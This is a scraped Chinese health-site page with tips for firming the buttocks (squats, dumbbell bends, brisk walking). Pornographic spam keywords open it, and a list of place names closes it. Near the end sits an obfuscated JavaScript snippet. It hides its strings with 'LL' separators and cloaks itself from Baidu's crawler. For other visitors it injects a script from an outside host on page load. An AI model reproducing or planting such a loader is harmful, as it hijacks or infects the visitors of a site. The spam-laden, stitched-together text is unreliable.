亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

怎樣提臀最有效呢?

2017-04-14 19:03:16  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):一些女性在結(jié)婚生孩子后,往往就會(huì)不太注重自己的形體,往往導(dǎo)致屁股變大,而且下垂的厲害,這樣的體型穿什么衣服都不好看,失去了自己原有

一些女性在結(jié)婚生孩子后,往往就會(huì)不太注重自己的形體,往往導(dǎo)致屁股變大,而且下垂的厲害,這樣的體型穿什么衣服都不好看,失去了自己原有的優(yōu)雅美麗的外形,而且也無(wú)法再牢牢的吸引老公的眼球。所以女性朋友們應(yīng)該時(shí)刻都有一種危機(jī)意識(shí),要注意自己的形體。那么,怎么做可以提臀呢?

1.深蹲提臀——雙腿與肩膀保持同寬的距離,讓雙手則伸直平行與地面,而膝蓋和腳尖則向外擺放,然后彎曲膝蓋下蹲,讓大腿部分與地面平行起來(lái),與小腿形成90度的形式,動(dòng)作堅(jiān)持8秒后恢復(fù)到原始動(dòng)作,將此動(dòng)作重復(fù)練習(xí)20次。

2.屈身運(yùn)動(dòng)——這個(gè)動(dòng)作比較簡(jiǎn)單。身體站直,雙手各握一個(gè)重量適中的啞鈴,手臂放在身體兩側(cè),膝蓋稍微彎曲,保持手臂伸直,然后向前俯身,背部保持挺直,然后慢慢恢復(fù)直立的狀態(tài),雙手要一直保持垂直向下的狀態(tài)。重復(fù)動(dòng)作12次為一組,一共重復(fù)3組。

3.上下班途中甩手大步走——上下班也是塑身瘦身的大好時(shí)機(jī),每天有兩趟上下班的時(shí)間,不拿來(lái)塑身太浪費(fèi)?!白呗匪苌怼眲e在乎有沒(méi)有人看,這并不重要,如果練習(xí)得當(dāng),走得好看,自然有人盯著你瞧。

4.辦公室里練習(xí)滿腳走——練習(xí)走路不是用兩腿的力量,而是先把重心放在小腿,再練習(xí)“滿腳”走和順著直線走,走路才會(huì)沉穩(wěn)不輕浮。所謂“滿腳”并不是腳尖著地,而是整個(gè)腳掌都落地,以腳尖前伸出發(fā),加上用小腹的力量,讓腿部出力減弱,用力在小腹,自然會(huì)挺胸,整個(gè)人會(huì)變得輕盈。

提臀的動(dòng)作可以隨時(shí)隨地去做,上班途中注意甩手大步的走,辦公室中滿腳走......都是讓我們隨時(shí)都處于提臀的狀態(tài)中的,所以提臀的效果也就會(huì)非常的顯著了,想要美的女性朋友們,不妨從現(xiàn)在開(kāi)始就行動(dòng)起來(lái),為自己的美麗形體而奮斗。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
青岛市| 清河县| 岳普湖县| 县级市| 霞浦县| 杭州市| 美姑县| 北安市| 汝州市| 资溪县| 上栗县| 牙克石市| 松江区| 阿拉善左旗| 保定市| 兴和县| 游戏| 新疆| 施秉县| 易门县| 乌兰察布市| 曲松县| 仙桃市| 嘉兴市| 西藏| 浏阳市| 宁城县| 永兴县| 垣曲县| 冕宁县| 鄂温| 宣汉县| 绍兴市| 孝感市| 庆元县| 英吉沙县| 长丰县| 临邑县| 云龙县| 德化县| 仲巴县|